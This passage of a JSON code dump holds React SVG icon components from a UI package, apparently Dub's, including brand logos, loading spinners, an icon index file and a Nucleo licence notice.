    "content": "import { SVGProps } from \"react\";\n\nexport function FilePen(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      fill=\"none\"\n      viewBox=\"0 0 16 16\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_file_pen)\">\n        <path d=\"M5.11133 6H6.88911\" />\n        <path d=\"M5.11133 8.66602H9.11133\" />\n        <path d=\"M13.4757 5.55386H10.4446C9.95389 5.55386 9.55566 5.15563 9.55566 4.66497V1.64453\" />\n        <path d=\"M13.5554 7.14634V5.92279C13.5554 5.68714 13.4621 5.46056 13.295 5.29434L9.81589 1.81513C9.64878 1.64802 9.423 1.55469 9.18745 1.55469H4.22211C3.23989 1.55469 2.44434 2.35113 2.44434 3.33247V12.6658C2.44434 13.6471 3.23989 14.4436 4.22211 14.4436H7.2582\" />\n        <path d=\"M12.2625 14.6254L15.0725 11.8155C15.4196 11.4683 15.4196 10.9055 15.0725 10.5584L14.5517 10.0377C14.2046 9.69057 13.6418 9.69057 13.2947 10.0377L10.4847 12.8476L9.77734 15.3329L12.2625 14.6254Z\" />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_file_pen\">\n          <rect width=\"16\" height=\"16\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/file-send.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function FileSend(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      fill=\"none\"\n      viewBox=\"0 0 18 18\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      {...props}\n    >\n      <path d=\"M5.75 6.75H7.75\" />\n      <path d=\"M5.75 9.75H10.25\" />\n      <path d=\"M15.16 6.24955H11.75C11.198 6.24955 10.75 5.80155 10.75 5.24955V1.85156\" />\n      <path d=\"M14.75 11.25L17.25 13.75L14.75 16.25\" />\n      <path d=\"M15.25 8.2979V6.66409C15.25 6.39899 15.145 6.14411 14.957 5.95711L11.043 2.043C10.855 1.855 10.601 1.75 10.336 1.75H4.75C3.645 1.75 2.75 2.646 2.75 3.75V14.25C2.75 15.354 3.645 16.25 4.75 16.25H10.6262\" />\n      <path d=\"M17 13.75H12.25\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/github.tsx",
    "content": "export function Github({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"20\"\n      height=\"20\"\n      fill=\"currentColor\"\n      viewBox=\"0 0 24 24\"\n      className={className}\n    >\n      <path d=\"M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/go.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Go(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      viewBox=\"0 0 207 78\"\n      fill=\"none\"\n      {...props}\n    >\n      <path\n        fill=\"currentColor\"\n        d=\"M16.2 24.1c-.4 0-.5-.2-.3-.5l2.1-2.7c.2-.3.7-.5 1.1-.5h35.7c.4 0 .5.3.3.6l-1.7 2.6c-.2.3-.7.6-1 .6l-36.2-.1ZM1.1 33.3c-.4 0-.5-.2-.3-.5l2.1-2.7c.2-.3.7-.5 1.1-.5h45.6c.4 0 .6.3.5.6l-.8 2.4c-.1.4-.5.6-.9.6l-47.3.1ZM25.3 42.5c-.4 0-.5-.3-.3-.6l1.4-2.5c.2-.3.6-.6 1-.6h20c.4 0 .6.3.6.7l-.2 2.4c0 .4-.4.7-.7.7l-21.8-.1ZM129.1 22.3c-6.3 1.6-10.6 2.8-16.8 4.4-1.5.4-1.6.5-2.9-1-1.5-1.7-2.6-2.8-4.7-3.8-6.3-3.1-12.4-2.2-18.1 1.5-6.8 4.4-10.3 10.9-10.2 19 .1 8 5.6 14.6 13.5 15.7 6.8.9 12.5-1.5 17-6.6.9-1.1 1.7-2.3 2.7-3.7H90.3c-2.1 0-2.6-1.3-1.9-3 1.3-3.1 3.7-8.3 5.1-10.9.3-.6 1-1.6 2.5-1.6h36.4c-.2 2.7-.2 5.4-.6 8.1-1.1 7.2-3.8 13.8-8.2 19.6-7.2 9.5-16.6 15.4-28.5 17-9.8 1.3-18.9-.6-26.9-6.6-7.4-5.6-11.6-13-12.7-22.2-1.3-10.9 1.9-20.7 8.5-29.3C71.1 9.6 80.5 3.7 92 1.6c9.4-1.7 18.4-.6 26.5 4.9 5.3 3.5 9.1 8.3 11.6 14.1.6.9.2 1.4-1 1.7Z\"\n      />\n      <path\n        fill=\"currentColor\"\n        d=\"M162.2 77.6c-9.1-.2-17.4-2.8-24.4-8.8-5.9-5.1-9.6-11.6-10.8-19.3-1.8-11.3 1.3-21.3 8.1-30.2 7.3-9.6 16.1-14.6 28-16.7 10.2-1.8 19.8-.8 28.5 5.1 7.9 5.4 12.8 12.7 14.1 22.3 1.7 13.5-2.2 24.5-11.5 33.9-6.6 6.7-14.7 10.9-24 12.8-2.7.5-5.4.6-8 .9ZM186 37.2c-.1-1.3-.1-2.3-.3-3.3-1.8-9.9-10.9-15.5-20.4-13.3-9.3 2.1-15.3 8-17.5 17.4-1.8 7.8 2 15.7 9.2 18.9 5.5 2.4 11 2.1 16.3-.6 7.9-4.1 12.2-10.5 12.7-19.1Z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/google.tsx",
    "content": "export function Google({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      width=\"24\"\n      className={className}\n    >\n      <path\n        d=\"M22.56 12.25c0-.78-.07-1.53-.2-2.25H12v4.26h5.92c-.26 1.37-1.04 2.53-2.21 3.31v2.77h3.57c2.08-1.92 3.28-4.74 3.28-8.09z\"\n        fill=\"#4285F4\"\n      />\n      <path\n        d=\"M12 23c2.97 0 5.46-.98 7.28-2.66l-3.57-2.77c-.98.66-2.23 1.06-3.71 1.06-2.86 0-5.29-1.93-6.16-4.53H2.18v2.84C3.99 20.53 7.7 23 12 23z\"\n        fill=\"#34A853\"\n      />\n      <path\n        d=\"M5.84 14.09c-.22-.66-.35-1.36-.35-2.09s.13-1.43.35-2.09V7.07H2.18C1.43 8.55 1 10.22 1 12s.43 3.45 1.18 4.93l2.85-2.22.81-.62z\"\n        fill=\"#FBBC05\"\n      />\n      <path\n        d=\"M12 5.38c1.62 0 3.06.56 4.21 1.64l3.15-3.15C17.45 2.09 14.97 1 12 1 7.7 1 3.99 3.47 2.18 7.07l3.66 2.84c.87-2.6 3.3-4.53 6.16-4.53z\"\n        fill=\"#EA4335\"\n      />\n      <path d=\"M1 1h22v22H1z\" fill=\"none\" />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/index.tsx",
    "content": "\"use client\";\n\nimport { LucideIcon } from \"lucide-react\";\nimport { ComponentType, SVGProps } from \"react\";\n\n// custom icons\nexport * from \"./arrow-up-right-2\";\nexport * from \"./copy\";\nexport * from \"./crown-small\";\nexport * from \"./dub-analytics\";\nexport * from \"./dub-api\";\nexport * from \"./dub-crafted-shield\";\nexport * from \"./dub-links\";\nexport * from \"./dub-partners\";\nexport * from \"./dub-product-icon\";\nexport * from \"./expanding-arrow\";\nexport * from \"./file-pen\";\nexport * from \"./file-send\";\nexport * from \"./ios-app-store\";\nexport * from \"./lock-small\";\nexport * from \"./magic\";\nexport * from \"./markdown-icon\";\nexport * from \"./matrix-lines\";\nexport * from \"./photo\";\nexport * from \"./sort-order\";\nexport * from \"./success\";\nexport * from \"./tick\";\nexport * from \"./user-clock\";\n\n// loaders\nexport * from \"./loading-circle\";\nexport * from \"./loading-dots\";\nexport * from \"./loading-spinner\";\n\n// brand logos\nexport * from \"./anthropic\";\nexport * from \"./bing\";\nexport * from \"./facebook\";\nexport * from \"./github\";\nexport * from \"./google\";\nexport * from \"./instagram\";\nexport * from \"./linkedin\";\nexport * from \"./openai\";\nexport * from \"./product-hunt\";\nexport * from \"./reddit\";\nexport * from \"./slack\";\nexport * from \"./tiktok\";\nexport * from \"./twitter\";\nexport * from \"./unsplash\";\nexport * from \"./youtube\";\n\n// Payment platforms\nexport * from \"./payment-platforms/card-amex\";\nexport * from \"./payment-platforms/card-discover\";\nexport * from \"./payment-platforms/card-mastercard\";\nexport * from \"./payment-platforms/card-visa\";\nexport * from \"./payment-platforms/paypal\";\nexport * from \"./payment-platforms/stablecoin\";\nexport * from \"./payment-platforms/stripe-icon\";\nexport * from \"./payment-platforms/stripe-link\";\n\n// SDKs\nexport * from \"./go\";\nexport * from \"./php\";\nexport * from \"./python\";\nexport * from \"./ruby\";\nexport * from \"./typescript\";\n\n// continent icons\nexport * from \"./continents\";\n\n// dub default domains logos\nexport * from \"./default-domains/amazon\";\nexport * from \"./default-domains/chatgpt\";\nexport * from \"./default-domains/figma\";\nexport * from \"./default-domains/github-enhanced\";\nexport * from \"./default-domains/google-enhanced\";\nexport * from \"./default-domains/spotify\";\n\n// Nucleo icons\nexport * from \"./nucleo\";\n\n// Feature icons for pricing table\nexport * from \"./plan-feature-icons\";\n\nexport type Icon = LucideIcon | ComponentType<SVGProps<SVGSVGElement>>;\n"
  },
  {
    "path": "packages/ui/src/icons/instagram.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function Instagram(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"18\"\n      height=\"18\"\n      fill=\"none\"\n      viewBox=\"0 0 18 18\"\n      {...props}\n    >\n      <g>\n        <path\n          fill=\"currentColor\"\n          d=\"M9 1.622c2.403 0 2.688.009 3.637.052.877.04 1.354.187 1.671.31.42.163.72.358 1.035.673s.51.615.673 1.035c.123.317.27.794.31 1.671.043.95.052 1.234.052 3.637s-.009 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.671-.163.42-.358.72-.673 1.035s-.615.51-1.035.673c-.317.123-.794.27-1.671.31-.95.043-1.234.052-3.637.052s-2.688-.009-3.637-.052c-.877-.04-1.354-.187-1.671-.31a2.8 2.8 0 0 1-1.035-.673 2.8 2.8 0 0 1-.673-1.035c-.123-.317-.27-.794-.31-1.671-.043-.95-.052-1.234-.052-3.637s.009-2.688.052-3.637c.04-.877.187-1.354.31-1.671.163-.42.358-.72.673-1.035s.615-.51 1.035-.673c.317-.123.794-.27 1.671-.31.95-.043 1.234-.052 3.637-.052M9 0C6.556 0 6.25.01 5.29.054 4.33.098 3.676.25 3.104.473A4.4 4.4 0 0 0 1.51 1.51c-.5.5-.809 1.002-1.038 1.594C.25 3.677.097 4.33.053 5.289.01 6.25 0 6.556 0 9s.01 2.75.054 3.71c.044.959.196 1.613.419 2.185.23.592.537 1.094 1.038 1.595.5.5 1.002.808 1.594 1.038.572.222 1.226.374 2.184.418C6.25 17.99 6.556 18 9 18s2.75-.01 3.71-.054c.959-.044 1.613-.196 2.185-.419a4.4 4.4 0 0 0 1.594-1.038c.5-.5.808-1.002 1.038-1.594.223-.572.375-1.226.419-2.184C17.99 11.75 18 11.444 18 9s-.01-2.75-.054-3.71c-.044-.959-.196-1.613-.419-2.185A4.4 4.4 0 0 0 16.49 1.51 4.4 4.4 0 0 0 14.895.473C14.323.25 13.67.097 12.711.053 11.75.01 11.444 0 9 0m0 4.378a4.622 4.622 0 1 0 0 9.244 4.622 4.622 0 0 0 0-9.244M9 12a3 3 0 1 1 0-6 3 3 0 0 1 0 6m5.884-7.804a1.08 1.08 0 1 1-2.16 0 1.08 1.08 0 0 1 2.16 0\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/ios-app-store.tsx",
    "content": "export function IOSAppStore({ className }: { className?: string }) {\n  return (\n    <svg\n      width=\"25\"\n      height=\"24\"\n      viewBox=\"0 0 25 24\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={className}\n    >\n      <g clipPath=\"url(#clip0_24804_74166)\">\n        <path\n          d=\"M19.652 0L5.348 0C2.669 0 0.5 2.169 0.5 4.848L0.5 19.155C0.5 21.831 2.669 24 5.348 24H19.655C22.331 24 24.503 21.831 24.503 19.152V4.848C24.5 2.169 22.331 0 19.652 0Z\"\n          fill=\"url(#paint0_linear_24804_74166)\"\n        />\n        <path\n          d=\"M12.398 5.51385L12.884 4.67385C13.184 4.14885 13.853 3.97185 14.378 4.27185C14.903 4.57185 15.08 5.24085 14.78 5.76585L10.097 13.8718H13.484C14.582 13.8718 15.197 15.1618 14.72 16.0558H4.79C4.184 16.0558 3.698 15.5698 3.698 14.9638C3.698 14.3578 4.184 13.8718 4.79 13.8718H7.574L11.138 7.69485L10.025 5.76285C9.725 5.23785 9.902 4.57485 10.427 4.26885C10.952 3.96885 11.615 4.14585 11.921 4.67085L12.398 5.51385ZM8.186 17.1808L7.136 19.0018C6.836 19.5268 6.167 19.7038 5.642 19.4038C5.117 19.1038 4.94 18.4348 5.24 17.9098L6.02 16.5598C6.902 16.2868 7.619 16.4968 8.186 17.1808ZM17.228 13.8778L20.069 13.8778C20.675 13.8778 21.161 14.3638 21.161 14.9698C21.161 15.5758 20.675 16.0618 20.069 16.0618H18.491L19.556 17.9098C19.856 18.4348 19.679 19.0978 19.154 19.4038C18.629 19.7038 17.966 19.5268 17.66 19.0018C15.866 15.8908 14.519 13.5628 13.625 12.0118C12.71 10.4338 13.364 8.84985 14.009 8.31285C14.726 9.54285 15.797 11.3998 17.228 13.8778Z\"\n          fill=\"white\"\n        />\n      </g>\n      <defs>\n        <linearGradient\n          id=\"paint0_linear_24804_74166\"\n          x1=\"12.5015\"\n          y1=\"0\"\n          x2=\"12.5015\"\n          y2=\"24\"\n          gradientUnits=\"userSpaceOnUse\"\n        >\n          <stop stopColor=\"#18BFFB\" />\n          <stop offset=\"1\" stopColor=\"#2072F3\" />\n        </linearGradient>\n        <clipPath id=\"clip0_24804_74166\">\n          <rect\n            width=\"24\"\n            height=\"24\"\n            fill=\"white\"\n            transform=\"translate(0.5)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/linkedin.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function LinkedIn({ className }: { className?: string }) {\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      width=\"24\"\n      height=\"24\"\n      viewBox=\"0 0 24 24\"\n      className={cn(\"text-[#0077b5]\", className)}\n    >\n      <path\n        fill=\"currentColor\"\n        d=\"M19 0h-14c-2.761 0-5 2.239-5 5v14c0 2.761 2.239 5 5 5h14c2.762 0 5-2.239 5-5v-14c0-2.761-2.238-5-5-5zm-11 19h-3v-11h3v11zm-1.5-12.268c-.966 0-1.75-.79-1.75-1.764s.784-1.764 1.75-1.764 1.75.79 1.75 1.764-.783 1.764-1.75 1.764zm13.5 12.268h-3v-5.604c0-3.368-4-3.113-4 0v5.604h-3v-11h3v1.765c1.396-2.586 7-2.777 7 2.476v6.759z\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/loading-circle.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function LoadingCircle({ className }: { className?: string }) {\n  return (\n    <svg\n      aria-hidden=\"true\"\n      className={cn(\n        \"h-4 w-4 animate-spin fill-neutral-600 text-neutral-200\",\n        className,\n      )}\n      viewBox=\"0 0 100 101\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n    >\n      <path\n        d=\"M100 50.5908C100 78.2051 77.6142 100.591 50 100.591C22.3858 100.591 0 78.2051 0 50.5908C0 22.9766 22.3858 0.59082 50 0.59082C77.6142 0.59082 100 22.9766 100 50.5908ZM9.08144 50.5908C9.08144 73.1895 27.4013 91.5094 50 91.5094C72.5987 91.5094 90.9186 73.1895 90.9186 50.5908C90.9186 27.9921 72.5987 9.67226 50 9.67226C27.4013 9.67226 9.08144 27.9921 9.08144 50.5908Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M93.9676 39.0409C96.393 38.4038 97.8624 35.9116 97.0079 33.5539C95.2932 28.8227 92.871 24.3692 89.8167 20.348C85.8452 15.1192 80.8826 10.7238 75.2124 7.41289C69.5422 4.10194 63.2754 1.94025 56.7698 1.05124C51.7666 0.367541 46.6976 0.446843 41.7345 1.27873C39.2613 1.69328 37.813 4.19778 38.4501 6.62326C39.0873 9.04874 41.5694 10.4717 44.0505 10.1071C47.8511 9.54855 51.7191 9.52689 55.5402 10.0491C60.8642 10.7766 65.9928 12.5457 70.6331 15.2552C75.2735 17.9648 79.3347 21.5619 82.5849 25.841C84.9175 28.9121 86.7997 32.2913 88.1811 35.8758C89.083 38.2158 91.5421 39.6781 93.9676 39.0409Z\"\n        fill=\"currentFill\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/loading-dots.tsx",
    "content": "export function LoadingDots() {\n  return (\n    <span className=\"inline-flex items-center\">\n      {[...Array(3)].map((_, i) => (\n        <span\n          key={i}\n          style={{\n            animationDelay: `${0.2 * i}s`,\n            backgroundColor: \"black\",\n            width: \"5px\",\n            height: \"5px\",\n            borderRadius: \"50%\",\n            display: \"inline-block\",\n            margin: \"0 1px\",\n          }}\n          className=\"animate-blink\"\n        />\n      ))}\n    </span>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/loading-spinner.tsx",
    "content": "import { cn } from \"@dub/utils\";\n\nexport function LoadingSpinner({ className }: { className?: string }) {\n  return (\n    <div className={cn(\"h-5 w-5\", className)}>\n      <div\n        style={{\n          position: \"relative\",\n          top: \"50%\",\n          left: \"50%\",\n        }}\n        className={cn(\"loading-spinner\", \"h-5 w-5\", className)}\n      >\n        {[...Array(12)].map((_, i) => (\n          <div\n            key={i}\n            style={{\n              animationDelay: `${-1.2 + 0.1 * i}s`,\n              background: \"gray\",\n              position: \"absolute\",\n              borderRadius: \"1rem\",\n              width: \"30%\",\n              height: \"8%\",\n              left: \"-10%\",\n              top: \"-4%\",\n              transform: `rotate(${30 * i}deg) translate(120%)`,\n            }}\n            className=\"animate-spinner\"\n          />\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/lock-small.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function LockSmall(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      width=\"8\"\n      height=\"8\"\n      viewBox=\"0 0 8 8\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g clipPath=\"url(#clip0_2161_2140)\">\n        <path\n          d=\"M5.5 4C5.224 4 5 3.776 5 3.5V2C5 1.44867 4.55133 1 4 1C3.44867 1 3 1.44867 3 2V3.5C3 3.776 2.776 4 2.5 4C2.224 4 2 3.776 2 3.5V2C2 0.897333 2.89733 0 4 0C5.10267 0 6 0.897333 6 2V3.5C6 3.776 5.776 4 5.5 4Z\"\n          fill=\"currentColor\"\n        />\n        <path\n          d=\"M6.16665 3H1.83331C1.00598 3 0.333313 3.67267 0.333313 4.5V6.5C0.333313 7.32733 1.00598 8 1.83331 8H6.16665C6.99398 8 7.66665 7.32733 7.66665 6.5V4.5C7.66665 3.67267 6.99398 3 6.16665 3ZM4.49998 5.83333C4.49998 6.10933 4.27598 6.33333 3.99998 6.33333C3.72398 6.33333 3.49998 6.10933 3.49998 5.83333V5.16667C3.49998 4.89067 3.72398 4.66667 3.99998 4.66667C4.27598 4.66667 4.49998 4.89067 4.49998 5.16667V5.83333Z\"\n          fill=\"currentColor\"\n        />\n      </g>\n      <defs>\n        <clipPath id=\"clip0_2161_2140\">\n          <rect width=\"8\" height=\"8\" fill=\"white\" />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/magic.tsx",
    "content": "export function Magic({ className }: { className: string }) {\n  return (\n    <svg\n      width=\"469\"\n      height=\"469\"\n      viewBox=\"0 0 469 469\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      shapeRendering=\"geometricPrecision\"\n      stroke=\"currentColor\"\n      strokeLinecap=\"round\"\n      strokeLinejoin=\"round\"\n      strokeWidth=\"1.5\"\n      className={className}\n    >\n      <path\n        d=\"M237.092 62.3004L266.754 71.4198C267.156 71.5285 267.51 71.765 267.765 72.0934C268.02 72.4218 268.161 72.8243 268.166 73.2399C268.172 73.6555 268.042 74.0616 267.796 74.3967C267.55 74.7318 267.201 74.9777 266.803 75.097L237.141 84.3145C236.84 84.4058 236.566 84.5699 236.344 84.7922C236.121 85.0146 235.957 85.2883 235.866 85.5893L226.747 115.252C226.638 115.653 226.401 116.008 226.073 116.263C225.745 116.517 225.342 116.658 224.926 116.664C224.511 116.669 224.105 116.539 223.77 116.293C223.435 116.047 223.189 115.699 223.069 115.301L213.852 85.6383C213.761 85.3374 213.597 85.0636 213.374 84.8412C213.152 84.6189 212.878 84.4548 212.577 84.3635L182.914 75.2441C182.513 75.1354 182.158 74.8989 181.904 74.5705C181.649 74.2421 181.508 73.8396 181.503 73.424C181.497 73.0084 181.627 72.6023 181.873 72.2672C182.119 71.9321 182.467 71.6863 182.865 71.5669L212.528 62.3494C212.829 62.2582 213.103 62.0941 213.325 61.8717C213.547 61.6494 213.712 61.3756 213.803 61.0747L222.922 31.4121C223.031 31.0109 223.267 30.656 223.596 30.4013C223.924 30.1465 224.327 30.0057 224.742 30.0002C225.158 29.9946 225.564 30.1247 225.899 30.3706C226.234 30.6165 226.48 30.9649 226.599 31.363L235.817 61.0257C235.908 61.3266 236.072 61.6003 236.295 61.8227C236.517 62.0451 236.791 62.2091 237.092 62.3004Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M155.948 155.848L202.771 168.939C203.449 169.131 204.045 169.539 204.47 170.101C204.895 170.663 205.125 171.348 205.125 172.052C205.125 172.757 204.895 173.442 204.47 174.004C204.045 174.566 203.449 174.974 202.771 175.166L155.899 188.06C155.361 188.209 154.87 188.496 154.475 188.891C154.079 189.286 153.793 189.777 153.644 190.316L140.553 237.138C140.361 237.816 139.953 238.413 139.391 238.838C138.829 239.262 138.144 239.492 137.44 239.492C136.735 239.492 136.05 239.262 135.488 238.838C134.927 238.413 134.519 237.816 134.327 237.138L121.432 190.267C121.283 189.728 120.997 189.237 120.601 188.842C120.206 188.446 119.715 188.16 119.177 188.011L72.3537 174.92C71.676 174.728 71.0795 174.32 70.6547 173.759C70.2299 173.197 70 172.512 70 171.807C70 171.103 70.2299 170.418 70.6547 169.856C71.0795 169.294 71.676 168.886 72.3537 168.694L119.226 155.799C119.764 155.65 120.255 155.364 120.65 154.969C121.046 154.573 121.332 154.082 121.481 153.544L134.572 106.721C134.764 106.043 135.172 105.447 135.734 105.022C136.295 104.597 136.981 104.367 137.685 104.367C138.389 104.367 139.075 104.597 139.637 105.022C140.198 105.447 140.606 106.043 140.798 106.721L153.693 153.593C153.842 154.131 154.128 154.622 154.524 155.018C154.919 155.413 155.41 155.699 155.948 155.848Z\"\n        fill=\"currentColor\"\n      />\n      <path\n        d=\"M386.827 289.992C404.33 292.149 403.84 305.828 386.876 307.299C346.623 310.829 298.869 316.271 282.199 360.005C274.844 379.192 269.942 403.2 267.49 432.029C267.427 432.846 267.211 433.626 266.856 434.319C266.501 435.012 266.015 435.602 265.431 436.05C254.988 444.041 251.212 434.186 250.183 425.606C239.2 332.353 214.588 316.909 124.668 306.122C123.892 306.031 123.151 305.767 122.504 305.35C121.857 304.933 121.322 304.375 120.942 303.72C116.399 295.679 119.324 291.038 129.718 289.796C224.688 278.47 236.062 262.83 250.183 169.331C252.177 156.355 257.259 154.083 265.431 162.516C266.51 163.593 267.202 165.099 267.392 166.782C279.257 258.564 293.328 278.617 386.827 289.992Z\"\n        fill=\"currentColor\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/markdown-icon.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MarkdownIcon(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg fill=\"none\" viewBox=\"0 0 22 14\" {...props}>\n      <path\n        fill=\"currentColor\"\n        fillRule=\"evenodd\"\n        d=\"M19.5 1.25h-17c-.69 0-1.25.56-1.25 1.25v9c0 .69.56 1.25 1.25 1.25h17c.69 0 1.25-.56 1.25-1.25v-9c0-.69-.56-1.25-1.25-1.25M2.5 0A2.5 2.5 0 0 0 0 2.5v9A2.5 2.5 0 0 0 2.5 14h17a2.5 2.5 0 0 0 2.5-2.5v-9A2.5 2.5 0 0 0 19.5 0zM3 3.5h1.69l.297.324L7 6.02l2.013-2.196.297-.324H11v7H9V6.798L7.737 8.176 7 8.98l-.737-.804L5 6.798V10.5H3v-7M15 7V3.5h2V7h2.5L17 9.5l-1 1-1-1L12.5 7z\"\n        clipRule=\"evenodd\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/matrix-lines.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function MatrixLines(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"12\"\n      width=\"12\"\n      viewBox=\"0 0 12 12\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g fill=\"currentColor\">\n        <path\n          d=\"M4.5 7.5L4.5 4.5\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M7.75 4.5L7.75 1.5\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M7.75 10.5L7.75 7.5\"\n          stroke=\"currentColor\"\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/README.md",
    "content": "# Nucleo Icons\n\n> _❗ These icons are copyrighted and redistribution is prohibited. See the full Nucleo copyright notice below._\n\nCopyright © Nucleo\n\nVersion 1.3, January 3, 2024\n\nNucleo Icons\n\nhttps://nucleoapp.com/\n\n- Redistribution of icons is prohibited.\n- Icons are restricted for use only within the product they are bundled with.\n\nFor more details:\n\nhttps://nucleoapp.com/license\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/android-logo.tsx",
    "content": "import { SVGProps } from \"react\";\n\nexport function AndroidLogo(props: SVGProps<SVGSVGElement>) {\n  return (\n    <svg\n      height=\"24\"\n      width=\"24\"\n      viewBox=\"0 0 24 24\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...props}\n    >\n      <g\n        fill=\"currentColor\"\n        strokeLinecap=\"square\"\n        strokeLinejoin=\"miter\"\n        strokeMiterlimit=\"10\"\n      >\n        <path\n          d=\"M20.5 3.5L18.5 7L18.722 6.61155\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"2\"\n        />\n        <path\n          d=\"M3.5 3.5L5.50001 7L5.27804 6.61155\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"2\"\n        />\n        <path\n          d=\"M2 19L22 19L22 15C22 9.47715 17.5228 5 12 5C6.47715 5 2 9.47715 2 15L2 19Z\"\n          fill=\"none\"\n          stroke=\"currentColor\"\n          strokeWidth=\"2\"\n        />\n        <path\n          d=\"M7.25 15.25C7.94036 15.25 8.5 14.6904 8.5 14C8.5 13.3096 7.94036 12.75 7.25 12.75C6.55964 12.75 6 13.3096 6 14C6 14.6904 6.55964 15.25 7.25 15.25Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n        <path\n          d=\"M16.75 15.25C17.4404 15.25 18 14.6904 18 14C18 13.3096 17.4404 12.75 16.75 12.75C16.0596 12.75 15.5 13.3096 15.5 14C15.5 14.6904 16.0596 15.25 16.75 15.25Z\"\n          fill=\"currentColor\"\n          stroke=\"none\"\n        />\n      </g>\n    </svg>\n  );\n}\n"
  },
  {
    "path": "packages/ui/src/icons/nucleo/apple-logo.tsx",
